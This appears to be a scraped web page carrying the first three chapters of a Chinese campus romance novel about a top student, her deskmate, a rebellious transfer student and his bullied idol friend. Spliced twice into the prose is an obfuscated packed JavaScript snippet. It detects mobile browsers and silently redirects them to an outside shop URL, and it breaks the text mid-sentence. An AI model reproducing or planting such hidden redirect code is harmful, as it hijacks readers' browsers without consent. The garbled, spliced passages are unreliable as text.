《被问题少年包围了怎么办》 1. 第 1 章 八月底的楚门还是没心没肺地热着,黄怀予睡眼惺忪地走出家门,抬头望了望放光的天空。 现在七点整,早自习七点半开始,这大概是她上高中以来起的最早的一天。 黄怀予揉揉眼睛,突然开始没命地跑,目的地是学校门口的热干面摊。 八月份的最后一天,高三的新学期第一天,在云省楚门一中对面的小巷里,戴眼镜穿短袖的少女在清晨的曦光下歪七扭八地向前跑,身后的书包摇摇晃晃。 …… 从楚门一中门口的马路上飞驰而过的一辆商务车上,经纪人拿着行程表坐在车前,对下面的五个人激动地讲着上节目的注意事项,讲到重要处时甚至手舞足蹈。 “这次来云省江城录节目,好不容易弄来的资源!都要打起精神对好台本!上次确定的人设都不用改,几个人都注意营业!” 然而与经纪人的亢奋不同,前排的四个人要么低低地戴着帽子玩手机,要么歪倒在座位上睡觉,下方沉默一片。 楚恒独自一人坐在最后一排,低头翻看着手里的台本,仿佛和前排四个人之间隔着天然的无形的屏障。 前方经纪人依然在喋喋不休地嘱咐着,楚恒在嘈杂声中抬起头,靠在车窗玻璃上,微微抬眼。 ——正好看见窗外一闪而过的“云省楚门市第一中学”几个大字。 原来现在到楚门了啊。 他仰头,眼睛微阖,金色的碎发遮住额角。旁边无人与他说话,他也一如往常地沉默。 * 街角的小摊。 黄怀予坐在摊位前的低矮桌边。 面前摆着一碗热干面。 她眼睛都没睁开,眯着眼慢慢地拌。芝麻酱的香气一股一股冲到脸上,像是唤醒每天一成不变高中生活的闹钟。 倏地,左边传来脚步声。一步,两步,三步。 紧接着,她左边隔着两个空位的凳子边被一只修长白皙的手拉开。 一个男人坐在了她旁边。 一身灰色宽大连帽衫,一直往上包住了整个头,帽衫上还戴着一顶黑色的鸭舌帽,层层叠叠遮住了一头金发。 八月底的大热天,他还戴了个口罩,加上了帽子,把脸遮得严严实实。 …… 黄怀予余光扫了一眼,就继续低头,没睡醒般拌着碗里的面。 两个人就这样沉默地坐在低矮的、肮脏的桌前,隔着两个座位的距离。 少女有一口没一口地吃着面,眼睛眯成一长条,混沌的脑子里想着等会早自习要读语文还是英语。 男生低头,静静地坐着,没有点任何东西,也没说任何话,额前的几缕金色发丝垂下,堪堪遮住了他的眉眼。 老板热情的吆喝声和大锅炉蒸腾的水汽静谧地飘散,小店发霉腐朽的大大窗户把两个人用力框在了里面,像中式园林里的框景。 * 黄怀予吃完最后一口面的时候,抬起头,发现那人已经走了。 “老板,要五块钱的卤牛肉!” “来了!” 老板掀开油腻腻的帘子,脸上满脸不耐烦,手上一边开始装牛肉,一边低声用楚门话骂: “坐了五分钟,一碗面都没点!” “还来坐我家座位,要不要脸!” “信了他的邪,大热天包得像个粽子,怪裸!” …… 黄怀予接过牛肉,已经习惯他满嘴的本地脏话。 ——楚门人就这样,脾气暴躁,平常说话都像是在吵架。 她走出小店,轻车熟路地走到前方街角的拐角处,准备去喂狗。 可是才刚刚走过拐角,就看见,那个每天都要来的地方,居然已经有人在了。 ——只见一个男人蹲在街边,低垂着眉眼,伸出一只骨节突出的手,轻轻地拿着半截火腿肠。 ? 是他? 刚刚那个“怪裸”? 黄怀予再一看,只见那只每天都冲自己傻乐的大黄狗,居然已经被那只火腿肠诱惑了,正坐在那男人面前,尾巴摇得都要上天了。 !! 黄怀予阴沉地看了一眼手里的卤牛肉。 真是没骨气啊,天天拿牛肉喂你,你还能被火腿肠诱惑! 她走近几步,够着脖子看了一眼那根火腿肠被扯下来一半的包装——居然还是淀粉肠,这傻狗原来喜欢吃碳水! …… 她在后面鬼鬼祟祟的行动,终于引起了那个男人的注意。 他听见动静,瞬间就扭过头,朝着黄怀予直直地看过来。 ——帽檐低垂,口罩严密,目光相接那一瞬间,黄怀予只看见一双眼睛。 那是一双很漂亮的眼睛,眉眼深邃,眼尾上扬,标准的桃花眼。 只是瞳孔漆黑,似是藏着阴暗的墨色,和他整个人给人的感觉一样压抑。 “……” 黄怀予被那双眼睛看得一愣,好几秒都没有移开目光。 见黄怀予仍然直勾勾地盯着他看,那人似是有点微愠,眯了眯眼,轻轻皱了皱眉。 “……” 黄怀予终于反应过来,后退几步,干笑两声: “我排队,你继续喂。” …… 排队? ……现在这样的情况,确实很像排队喂狗。 那人收回目光,站起身子,再也没看黄怀予一眼,收起了地上的火腿肠包装,就准备离开。 黄怀予这才发现,他似乎很高,站起来的时候身材高挑清瘦,腿很长。 她一米六八,那人经过自己的时候,好像自己才到那人肩膀。 …… 他才刚站起身离开,黄怀予就立刻气势汹汹地把手里的卤牛肉摆到狗面前质问: “你外面有人了是不是!” “被我当场抓包!” “每天用我自己的早餐钱给你买牛肉!你还吃别人的火腿肠!” 傻狗听不懂,一看见黄怀予就乐,舌头高兴得伸出来,冲着黄怀予膝盖就开始舔。 她指着卤牛肉:“给我吃!“ 傻狗凑上去,闻了两下,极其斯文地嚼了两口,就一副已经吃饱的样子,不甚感兴趣地退开了。 “你!” “在家里不吃,果然是因为在外面吃饱了!” 黄怀予龇牙咧嘴捏住它的头: ——“小楚!” ——“你个渣狗!” …… 话音刚落,她就感觉到,身后的脚步声似乎骤然停止。 一道目光直直地朝她射过来。 黄怀予抖了抖肩膀,回头一望——正好撞见那人探究冷淡的眼睛里。 ? 她有些莫名其妙,这人不是刚刚已经走了吗? 怎么还回头看自己? 突然小腿边仿佛被什么黏糊糊的东西用力舔过,她低头,“小楚!不准舔我!” ……说完这句话,拐角处的那个男人仿佛又愣了一下。 他遥遥地站在那里,看了看黄怀予脚边的狗,又看看满脸气愤的黄怀予,似乎是终于明白了什么。 顿了一下,又移开视线,有些无言般迈开长腿转身离开。 * 还有十五分钟上早自习。 黄怀予背着书包,站在学校对面的马路边,等红绿灯。 右方街边,斜斜走过来一个男生。 那人很高很高,接近一米九的大高个,穿一身荧光橙色球衣,胸口印着巨大的LOGO,一头黄棕色头发,整个人身上的色彩极其醒目。 他歪着头,懒散地从早餐店的方向走出来,右手拎着一袋灌汤包和豆浆,左手拎着一个篮球。 …… 楚门只是一个传统的N线小城市,楚门一中是楚门唯一一所省重点。 在楚门一中周围,带手机和不穿校服已经算是最大的罪过。 然而像这样染了一头黄色头发、身材高大、浑身上下写满了“快来看我”的高中生,实在是太过于显眼了。 ——因此他这一路走过来,吸引了无数路人的目光。 ——也包括黄怀予。 她就这样看着那人微微扬着头,眉眼凌厉,轮廓硬朗,顶着周围各种探究和好奇的目光,慢条斯理朝自己红绿灯的方向走过来。 “……” 她确认,自己不认识他。 楚门一中如果有这么装逼的人,一定会很有名——但是她完全没见过他。 黄怀予抱着手臂,转过头,就那样很认真地盯着那人看。 ——直到把那人盯得有点不耐烦。 谷奕转过头,扫了一眼旁边那个和自己一起等红绿灯的女生。 还没见过这种搭讪方式的,就直勾勾盯着自己看。 唉,没办法,太帅也是一种烦恼。 他不在意地收回目光,淡淡地说了一句: “不加微信。” …… 话说完半天,却见那边半天都没什么声音。 ……怎么,被他冷冰冰的话伤到了? 谷奕扭过头一看,只见右边那个戴眼镜背着书包高高瘦瘦的女生,正一脸同情地看着自己。 然后,目光扫过自己的手。 轻轻说了一句: “你豆浆泼了。” ? 谷奕低头一看。 只见自己手上拎着的一杯豆浆已经不知道哪里漏了个洞,乳白色的液体正一滴滴顺着塑料袋滴了下来,一杯豆浆已经空了一半。 ——再回头一看,豆浆已经不知道什么时候洒了一路,淅淅沥沥在他身后一长条,像是一条超级无敌长的白色虫子。 “……” 所以这一路上有人看他,是因为他的豆浆洒了一路? …… 谷奕咬着牙,把那半杯豆浆扔进了一边的垃圾桶。 再抬起头,绿灯正好亮起。 他刚准备走,下一秒眼前就闪过一个人影。 ——还是那个女生。 黄怀予看看对面学校门口已经开始工作的保安,又看了看他手上拎着的一口没动的灌汤包。 “……有事?” “都说了我不加微信。” 谷奕脸色很臭。 “……” 刚刚想说出口的话被她咽了回去,她脸色一下子沉下来。 她靠近过去的一瞬间,就闻到了一股十分熟悉的味道。 ——很淡很淡,还夹杂着那人身上若有若无的洗衣液和发胶的香味,非常不易察觉。 但是黄怀予还是闻出来了。 因为,她是研究这个味道的专家。 ——是烟味。 …… 她厌恶地皱皱眉,吐出两个字: “装逼。” 说完,就再也没看他一眼,转身朝着学校门口走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252922|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>? 谷奕一下子来了火。 他迈开长腿,快步走上前,脸色很不好看,眼里闪过戾气。 “站住。” “给我说清楚。” 黄怀予走得很快,走过马路,刚好踩着预备铃声走进校门。 “给我站住!” 谷奕高大的身影紧紧跟在后面,刚想上前,就突然被旁边伸出来的一只手给拦住。 ……他顺着手臂的方向看过去。 校门口的保安正一脸严肃地看着他。 “不准带外带食物进学校。” ? 谷奕难得愣怔住。 一下子想起刚刚那女生盯着自己手里灌汤包欲言又止的样子。 ……她当时是为了和自己说这个? 隔着缓缓关闭的大门,他看见了门里面黄怀予欠揍的笑。 “……” “你!” 那女生叉着腰,隔着门,面无表情地看着自己,嘴巴缓缓打开,慢慢说着一句话: ——“最烦装逼的人。” 说完,横他一眼,扬长而去。 * 早自习铃声打了,马辉带着他的招牌臭脸走进教室。 马辉是高三一班的班主任,政治老师,但是在班里也没什么威慑力。他抬手:“大家安静一下。” 黄怀予放下书,迷惑地抬起头。 马辉这个班主任向来自得清闲,整天迟到早退,今天为什么这么早就到教室了? 她观察了一下马辉的神色,才发现他脸色严肃,眉头皱起,好像是有什么非常重要又很棘手的事要在班上宣布。 ——果然下一秒,他就在全班55个人齐刷刷的注视下,缓缓开口: “今天有一件重要的事情,我们转来了一位新同学。” !!! 短短一句话比一百道上课铃都有用,高三一班已经很少有这样爆炸性的新闻,刚刚还吵闹的班级霎时间安静下来。 全班所有趴着昏昏欲睡的人此刻都彻底醒了。 谁会在高三上学期的第一天突然转学??还是来楚门一中的文科平行班?? 全班都寂静无声,几十双瞪大的眼睛看向门口。 ——只见一个高大个子的黄发男生走进教室,身上穿着亮橙色的名牌球衣,拎着一个篮球,整个人身上的色彩极其显眼醒目。 他吊儿郎当地走上讲台,在黑板上写了两个歪歪扭扭的大字“谷奕”,然后转过身扔掉粉笔,歪着头,眉眼凌厉,满脸戾气。 …… 全班静默,鸦雀无声。 黄怀予下巴都掉了。 行了,这下可以解释为什么她觉得没见过他了。 “那个……”马辉在一片尴尬气氛中开口,“谷奕同学是从魔都转学过来的,先给我们做个自我介绍吧?” 一片安静,无人回答他。 黄毛男生仿佛没有听见老师的话,仍旧摆着一副臭脸,倨傲地站着。 他嘴角扯了一下,直接忽略了自我介绍的要求,伸出手指着最后一排的位置说: “我想坐那里。” ——所有同学都顺着他手指的方向,齐刷刷扭头看向最后一排。 最后一排只有几个体育生。他们满脸疑惑地互相打量,但是显然都不是黄毛男生的目标对象。 除了……一个在全班五十多名同学的注视下微微红了脸的微胖男生。 马辉无奈叹口气,只好在凝重气氛中重新开口: “……没事,那我来介绍一下,白度是谷奕同学的表弟,以后大家都是301班的同学了,要互相帮助……” 话还没说完,教室里爆发出惊讶的窃窃私语,几十双眼睛在最后一排的白度和讲台上的谷奕身上打量。 白度的脸更红了,在全班的讨论声中微微低下了头。 “卧槽!” 黄怀予张大嘴巴,惊讶地看向讲台上叛逆的黄毛少年:“白度还有这么一个社会表哥?” 同桌抓住黄怀予的胳膊激动吃瓜:“妈呀你看白度脸红了!这男的一转学过来就要跟白度同桌!而且名字也好配哦,谷歌和百度……哎哟,我有了一些不好的想法……” 黄怀予大笑:“你打住吧哈哈哈哈哈,骨科过不了审啊哈哈哈哈!” 马辉再次抬手:“安静。” 又转过头看着讲台上的乖戾少年,叹了口气,目光一转,指着黄怀予前面的空座位: “你坐那里。” ??? 黄怀予瞬间就笑不出来了。 …… 黄怀予前面是一个空座位。 空座位左边是苏琬。 “……”教室里一片寂静,谷奕懒散地抬抬眼皮,看了看马辉手指的地方。 ——是第二排,他最讨厌的地方。 旁边坐着一个低头看书的女生,后面还有一个皱着眉头的短发女生,正在极其不欢迎地打量他。 ……等等? 是她?? 谷奕眯起长眸。 哼。 他紧紧盯着那女生,眼里燃起熊熊火焰。 冤家路窄。 …… 他歪歪头,在全班人紧密的注视下,一步步走到第二排的空座位旁。 黄怀予眼看他沉着脸一步步走过来,心里的不安越来越大,一拍桌子就站了起来。 “老师,我不同意!” 2. 第 2 章 她的声音回荡在安静的教室里。 一男一女,在教室中间站着,气势相对。 男生人高马大,满脸阴沉,眼神冷淡;短发女生戴着眼镜,皱眉怒视,毫不示弱。 …… 全班人都吓呆了,震惊地看着突然站起来的黄怀予。 ——开学第一天的早自习,性格强势的全班第一名和桀骜叛逆的问题少年转学生,才刚刚认识,似乎就已经不对付了。 突然,身后传来一声巨大的拍桌子声,紧接着就是马辉愤怒的吼声。 “都闹什么?!” “无法无天了是吧?!” 这一声稍稍打破了两人之间剑拔弩张的气氛。黄怀予迎着谷奕阴冷的眼神毫不畏惧地瞪回去,然而下一秒自己右边的衣角却被人轻轻拉了一下。 ——她向右看去,对上苏琬担忧的眼神。 苏琬抿唇,冲自己轻轻摇了摇头。 “……”黄怀予看出了她的意思,深呼吸几下勉强平息了情绪。 …… “黄怀予!” 马辉一声吼。 “坐下!” “不同意也得同意!” 黄怀予瞪着眼睛,咬着牙,用力坐了下来。 ……感觉自己输了是怎么回事! 她咬牙切齿地盯着那人高大的身影,却见那人似乎看她气冲冲的样子,心情一下子就变得很好。 “……” 谷奕慢悠悠地把手里拎着的篮球扔进空荡的课桌下,歪头看着旁边低头看书的苏琬,笑着敲敲桌子。 “同学,借支笔。” 苏琬从书里惊讶地抬起头,一眼望进少年漫不经心的眼睛里。 他逆光站着,金色的阳光从他身后打下来,绕出一个明亮的光晕。 两人在周围人惊讶的吸气声中四目交汇。 她犹豫地递出一只最普通的粉色梦想牌中性笔,他伸手接,露出宽大有力的掌心。 * “我把他的位置放在你们那里,是出于很多考虑的。” 马辉坐在办公室桌子前,看着面前站着的满脸不爽的女生,叹口气。 “谷奕妈妈就是楚门人,是我朋友。他之前在魔都那边太叛逆,跟他妈妈关系也不太好。他妈妈管不了他,想让我来带他,给他换个环境。你们俩是班级前二名,坐在他旁边稍微带带他,对他多少有点正面影响。” 黄怀予撇撇嘴:“我们自己都学不过来。” “没那么高的要求。他妈妈只是希望送他来楚门,他能改改心性。高考无所谓,反正到时候可能送他出国。” 黄怀予低头嘀咕:“哟,还是个二世祖关系户。怎么想不开来高考大省,跟我等屁民竞争。” 马辉正沉浸在自己的故事里,完全没注意到黄怀予在嘀咕什么。 “他以前在魔都的那个样子,根本没法讲道理。你们就相互认识一下,督促一下,让他稍微静静心,别叛逆得太狠,不违法乱纪就行。” 马辉见黄怀予表情不善,立刻看向旁边的苏琬,她还是文文静静不说话,于是继续循循善诱。 “座位也是我调的,他妈妈上个学期就跟我谈过这件事,我就把苏琬旁边的位子空出来了。没什么的啊,平常心看待,同学之间互相帮助一下就行,有事就跟我说。高三了抓紧时间,不要混日子,最后一年时间可以做很多事情……” 马辉还在滔滔不绝地做思想工作,黄怀予已经低着头翻出了几个天大的白眼,右手偷偷绕到身后去扯苏琬的衣角。 苏琬终于抬起头,温柔地笑笑: “好的老师。” * 这个上午像平常一样地过去。而早晨在自习上引起轩然大波的那位主人公,早就在马辉离开以后就拿着他唯一的篮球消失了。 文科平行班里没有那么长时间的惊讶,大家八卦完后又渐渐低下头玩手机或睡觉,教室里依然是躺倒一片的安静。 前排的人努力撑着疲惫的眼皮去洗把脸回来做题,后排的人漫不经心地抄暑假没写完的作业,课代表在贴着“高考倒计时”的红色贴纸下晃来晃去地统计没交作业的人数。 各人做各人的事,各人走各人的路,或许是当下大部分高三教室的现状。 * 上午最后一节课下课铃响,正好是中午十二点。教室里又变得空荡,走读生都已经回家了。 苏琬写完了最后一个字,揉揉手腕,站起来呼出口气。 低下头,就看见她早晨递给谷奕的那支粉色的梦想牌中性笔,仍然静静地放在他空空荡荡的桌子上。 ——好像被遗忘了,或者被借给了一个根本不想使用它的人。 她微微蹙了下眉。学校不到放学时间是不可能放学生出去的,他出教室之后要么翻了墙,要么就还在学校里。 原来还真的有连教室都不愿意呆的“问题少年”啊。 …… 食堂今天的土豆饼实在是不怎么好吃,苏琬边走边小口小口地啃着,脑子里想着上午没做出来的立体几何。 走到了女生寝室门口,她低头往垃圾桶里扔吃完剩下的塑料袋——而一抬头,就远远地看见男生寝室楼下,那个穿着亮橙色球衣的高大身影。 ……这球衣的颜色真的太显眼了,跟他的棕黄色头发一样显眼。 如果非要比,他在今天早自习的出现,就像在楚门一中这个平静陈旧的班级里突然出现的一颗炸弹。 ——比马辉精心挑选的那个大红色高考倒计时贴纸要显眼多了。 …… 她静静地看了一会,却没想到那个身影却好像跟她有心灵感应一样,突然直直地朝她的方向转过头来。 两人再次隔空四目交汇,苏琬瞬间局促,站在原地,就这样看着谷奕一步一步地朝她走过来。 “我没吃饭,好饿的。” “……啊?” 谷奕低头看着她,眉峰挑起,长眸里全是无奈: “美女,你们学校食堂是什么破制度,只能刷学生卡,现金转账统统不收。我什么也没有,饿到现在了。” 苏琬愣了下,随即眉头舒展,扬起笑容,晃晃手里的学生卡: “那我请你吧。” * 下午一点半,距离上课时间还有半小时,学校里基本没人。黄怀予爬到五楼,一如既往地看见了空荡的教室里,正在座位上看书的苏琬。 她跨进教室门,刚准备跟苏琬打招呼——然而下一秒,余光一扫,就看见苏琬旁边,还有一个十分陌生却十分显眼的身影。 哦不,也不是太陌生,因为今天早晨两人刚打了个照面。 !! 她瞬间如雷轰顶。 “杯子!”苏琬闻声从书堆里抬起头,冲着教室门口的黄怀予笑了笑。 然而黄怀予此时此刻压根没心思回应苏琬。 她快步走进教室,颤抖着手指着坐在苏琬旁边趴头大睡的谷奕: “……他啥时候过来的?!” “来了有一会了,刚在你们食堂吃了午饭。真他大爷难吃。” 谷奕伸个懒腰,坐起来,张开腿,笑着看着她。 黄怀予也皱眉看着他。 两人对视。一坐一站,一高一矮,却气势相合。 “嗯……那个……”苏琬在一旁看出了两人似乎再次变得剑拔弩张的气氛,犹豫着插话解释,“他刚转过来,住校,还没领学生卡,付不了钱,所以我跟他一起吃的。” ?! 黄怀予再次如雷轰顶。才一个中午的时间,怎么这两个人的关系已经进展到可以一起吃饭的地步了? 她看向谷奕,只见谷奕早就收敛起了笑意,表情冷淡,仿佛又回到了那个刀光剑影的早自习。 黄怀予抿唇,眯了眯眼,打定了主意。 “那正好,现在就跟你说清楚,免得你逃课找不到人。” “马辉说希望你能改变心性,所以安排你坐在我跟苏琬旁边。当然,如果你不想在教室里待着,那就想干嘛干嘛,井水不犯河水,我们也没空管你。所以只要你去跟马辉说清楚,你的事和我们无关,那我们日子都好过。” 谷奕盯着黄怀予,沉默了几秒,头慢悠悠地向后仰。 “挺搞笑的,你又是什么香饽饽,真以为大家都想跟你一起?说白了,你不就是老师的狗腿子吗?” “是啊。”黄怀予笑着点头,“总比染黄毛逃课的装逼屌丝要好吧。” ……这短短一句话却让谷奕愣了下,眼里闪过极大的震惊。 他平时骂人的话张口就来,但是却从来没有被这样直接干脆地当面骂过。 他染上怒意的声调瞬间拔高:“关你屁事啊?” “那你去问马辉啊。” 黄怀予摊手:“本人还想着最后一年冲一冲人大复旦的,要不是因为马辉,给老子钱我都不愿意花时间来掺和您这事儿哈。” “……” 谷奕似乎被堵得无话可说,坐直身子盯着她,眼神探究。 “蒙谁呢,一个破学校的文科平行班,屁都不算,还想什么人大复旦?” 黄怀予平静地点点头:“看来你还不是傻子,知道这是文科平行班。只是你应该还不知道,楚门一中是楚门唯一一所省重点,理科一般般,文科倒是还行,云省八校联盟里也能排个中间。啊对了——” 她转过头,冲着教室门口挂着的小白板扬扬下巴。 “上学期的期末成绩表还贴在那里。我能不能想人大复旦,你可以自己去看看。” 说完,再也没有看过他一眼,径直走向自己的座位,开始伏案做题。 …… 谷奕沉默了一会,突然站起来走向门口,看向小白板上面贴着的成绩表。 前三行赫然写着: 杨捷,班级排名3,年级排名31,总分575。 苏琬,班级排名2,年级排名11,总分612。 黄怀予,班级排名1,年级排名7,总分628。 * 下午最后一节课,马上就是吃晚饭的时间。黄怀予惯例下去跑步,拉着准备去买晚饭的苏琬一起下楼。 她站起来,忍不住扭头看了看自己旁边空荡的座位,犹豫了几秒,还是说道:“谷奕他……你们中午吵完架以后,他就又走了,一下午都没有上课。” 黄怀予顿了一下,用探究的眼神上下打量她。 “苏琬你老实交代,你们中午去干嘛了?” “就……一起吃了一碗面,我付的钱。” “然后呢?” “然后……他说,你们楚门的热干面真难吃。” 黄怀予翻了个白眼,哼哼唧唧:“真没欣赏能力。” “他住校,昨天刚搬进来,东西都还没买齐。他就住在男寝1栋3楼,室友是白度,估计也是马辉安排的寝室。他以前留过级,比我们大两岁,身高是一米八/九……” “等等!” 黄怀予抬手,满脸不可置信:“你俩就吃了一顿饭,怎么聊了这么多??” 苏琬淡淡地笑。 “杯子,其实你也没那么讨厌他的吧?中午那些话,你虽然说得重,可是只是在说马辉,一句也没提到他妈妈。” 黄怀予皱皱鼻子,站起身:“走,下去,我要去操场跑步。” 苏琬笑着抓住她的手臂:“你中午干嘛要他去看成绩表啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252923|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “装逼嘛,谁不会啊。虽然我这分数根本考不上人大复旦,但是,他肯定也不知道多少分才能上人大复旦,唬住他就行了。” “更何况……” 黄怀予手肘一扣,反手牵起她的手,冲她眨眨眼。 “主要目的是让他看看你的成绩。” “我的成绩?为什么要看我的?” 黄怀予却不再回答,露出一丝看破暧昧的笑。 * 云省江城电视台的艺人休息室里。 “上啊!打野上啊!” “你去清理兵线啊,你是傻逼吗?” 楚恒推门进去,休息室里的声音一下子消失,刚刚热火朝天的游戏场景突然消散,四个人仿佛心照不宣地都开始保持沉默,甚至还有人发出不耐烦的“啧“声。 他在怪异的气氛中走进去,坐在自己的化妆镜前,准备看看台本,拿起了旁边之前喝了一半的水。 刚喝了一口,立刻感觉到不对劲,低头吐在了垃圾桶里。他看着水里奇怪的棕色粉末,顿住,骨节突出的手指捏紧了杯子。 右后方一个牛仔外套的男生关了手机,慢慢走上前几步,笑着说:“好喝吗?” 楚恒低头,浓密的睫毛垂下,眼神冷淡,薄唇紧抿,仿佛早就已经习惯,又仿佛对这一切早就不在意了。 “STAR的各位成员们可以开始准备彩排了!——” 门口传来工作人员的通知声,楚恒沉默地站起来,高瘦的身影走向门口。 一个戴着帽子的工作人员手上拿着三五个麦克风,从门口经过。楚恒停在门边,想等他先过去——结果此时,身后突然被一股极大的力量狠狠推了出去,楚恒避退不及,直直地朝着那个工作人员撞了过去。 ——下一秒,楚恒用尽全力躲开,身体擦着坚硬的墙面摔了下去,痛得微微皱眉,下颌紧绷。 “你是哪家艺人!看着点啊!这麦很贵的,摔坏了怎么办?!” 工作人员吓了一跳。好在他们没撞上,他拿着麦骂骂咧咧地走了。 “……”楚恒微微喘气,抬头,果然看见门的角落里,那个穿牛仔外套的人,正对着他露出了一个阴骘的笑。 …… “好,那我们STAR团内成员们的关系也是非常好啊,要不要给我们的粉丝透露一下最近成员们有一起去哪里玩?” 被话筒指到的赵焰似乎有些害羞,他整理了一下身上的牛仔外套,温柔一笑:“其实我们一直都有团体出游,上周末还一起去逛街了。然后我看楚恒当时好像很喜欢一件衣服,但是没舍得买,我就买了然后送给他了。” “哇,那真是感情很好啊,楚恒你收了礼物应该很开心吧?” 话筒又转到中间的瘦削白皙的男生。 ——楚恒接过话筒,沉默地听着这个陌生的故事,转头,又看到了赵焰温柔又虚假的笑。 “……”他捏紧手中的话筒,空洞的眸子直视向正在录影的摄像头。 * 录制间隙,楚恒点开手机,果然收到了谷奕的消息。 今天是他转学去楚门的第一天,他絮絮叨叨说着这个学校多么压抑,宿舍有多么破,方圆几里连一家网吧都没有,所有学生都像机器人一样在教室里坐着,一坐就是一整天。 然而马上,他就开始大段大段义愤填膺地骂今天刚认识的一个女生,坐他后面,牙尖嘴利脾气暴躁,极其不好惹,仗着自己成绩好疯狂装逼,见他第一面就满脸厌恶。 同桌也是个女生,长得漂漂亮亮,看着也柔弱安静,但是和那个不好惹女关系很好,不好惹女还很听她的话。 “兄弟,我太惨了!被我妈流放到这个N线小城市!好怀念几年前和你一起上网打游戏的日子……” “哦对了,你不是今天录节目吗,怎么样?还顺利吗?” 楚恒一贯冷漠空洞的眼神里终于出现了一点波澜。 他眉眼低垂,白皙瘦削的手指微顿,最终还是只留下两个字:“没事。” …… 谷奕躺在楚门一中男生宿舍0.9米的单人硬板床上翻来覆去滚了十分钟,最终还是怒气冲冲爬起来:“操!什么破地方!” 突然,寝室的门被打开,白度肥胖的身体探进来:“哥!你怎么还躺着,怎么不出去吃晚饭?” 谷奕翻身起来:“哎,我说你们这为啥没有网吧啊?” “网吧?” 白度像听见了什么特别好笑的事情。 “别说网吧了,就连我们对面那几家奶茶店都有教导主任过去突击检查,只要看见有学生在上课的时候跑过去,直接抓回来报告给班主任。” 谷奕目瞪口呆。 “……那、那些店主老板都没反应?” “有啊,同情的反应。” 白度嘿嘿地笑。 “开在一中旁边的餐饮店或者文具店,应该都跟学校负责人有关系,招标的时候都有后门的。再说了,在一中旁边开店,就要有这样的觉悟,谁让我们是省重点呢。” “……”谷奕彻底不说话了,心里无限惨淡。 白度突然想到了什么,想问但有些犹豫,试探着开口:“哥,你到底为什么一个人转来楚门?是……你和姨妈又吵架了?” 谷奕沉默几秒:“别提她,不想听。” “……既来之则安之,你在楚门肯定能交到很多朋友的!”白度赶紧转移话题缓和气氛。 “就比如说,你的新同桌和新后桌!” “她们都很好相处的哦!” ? 那个戴眼镜的短发女生讨厌的脸跳进脑子里,谷奕发出了人生中最大音量的怒吼: “她好相处??” 3. 第 3 章 晚上八点半,第一节晚自习下课。六楼老师办公室里,黄怀予和苏琬正拉着数学老师请教问题。 “这道题你错了?不应该啊,你可以做出来的啊。当时考试太紧张了?这种题不应该丢分的,这里错了你后面怎么办?” “上次期末你年级第七是吧?这道题如果没错,那不就是第六了?” 数学老师拿着卷子还在翻来覆去地点评,黄怀予扯出不好意思的笑容,只觉得如坐针毡,立刻向老师道谢,拉着苏琬赶紧溜了出来。 “……唉。” 黄怀予步履有些沉重,手里的卷子甩来甩去。 ——下一秒她的手就被人牵了起来。她回头,看见苏琬亮晶晶的眼睛。 “没关系,今天晚上总结一下错题,下次不再犯。” 黄怀予低低地答应了一声,情绪仍然不是很高。 苏琬牵着她的手,观察着她的表情,思考几秒后说:“要不……去买点东西吃?” 黄怀予恹恹地点头:“我要吃20块钱的炸鸡柳。” 苏琬:“……” * 晚上快九点,楚门一中对面的“好运来”奶茶炸鸡店里仍然坐满了人。 很多第一节晚自习结束的学生都来店里吃炸鸡喝奶茶,空气里弥漫着一天的学习结束后吃夜宵的快乐。 白度站在收银台前点了两杯奶茶,刚准备付钱。 突然,从他后面伸过来一只大手,夹着两张纸钞票。 “我请。” 他回头,只看见: ——谷奕右手插着兜,高大的身影斜站着,黄色的碎发飘散下来微微遮住长眸,嘴角噙着笑意。 “只要有我在,就不会让别人付钱。” 奶茶店老板接过钱,抬头看了一眼谷奕,眼神里透出满满的惊讶。 “发色不错。” 谷奕微微点头,一脸平常:“谢谢。” 白度看着他这副潇洒的装逼样子,笑道:“差点忘了你是富二代。以后抱你大腿了。” 两人坐下来,谷奕抬头打量了一下这家店:“哎,这就是你下午说的教导主任会来巡视的那家店?那你带我来这真的没事吗?” 白度头也没抬地玩手机:“是啊,不过不要紧,她不会来的。我三年都没被抓过,很安全的。” “那……万一要是来了呢?”谷奕皱皱眉,难得有些犹豫,“看你们学校管得这么严,要是真的被抓了,对你来说是不是后果比较严重?” “哎呀哥别想了,不会的。”白度手肘撞撞谷奕的手臂,“我们被抓的概率大概也就……百分之十吧。放心放心,赶紧TIMI。” 听到白度信誓旦旦的保证,谷奕也就彻底放下心。 然而当他刚准备拿出手机,余光一扫,就正好看见,店门口有两个十分熟悉的身影—— 下一秒,谷奕和黄怀予就正好四目相对。 ……空气瞬间凝滞。 两人同时瞪大眼睛,低声骂道:“操!” 谷奕立刻低下头,装作没看到。与此同时,黄怀予脚步立刻停住,拉上苏琬,脚底抹油准备转身跑路。 ……两人确实不对付,但是在互相躲避对方这件事上也有着莫名其妙的默契。 结果刚转身没跑两步,身后就传来白度热情的呼唤:“杯子!苏琬!好巧啊!” ……空气再度凝滞。 苏琬挽住黄怀予的手,有些犹豫着看向浑身僵硬的她,实在是没有想到,二晚陪黄怀予偷偷出来吃个鸡柳都会碰到谷奕。 联想到早晨和中午,同样性格强势的两人在教室里剑拔弩张地吵架,而她全程都在旁边观战的史诗级尴尬场面,她只觉得脚趾抠出三室一厅。 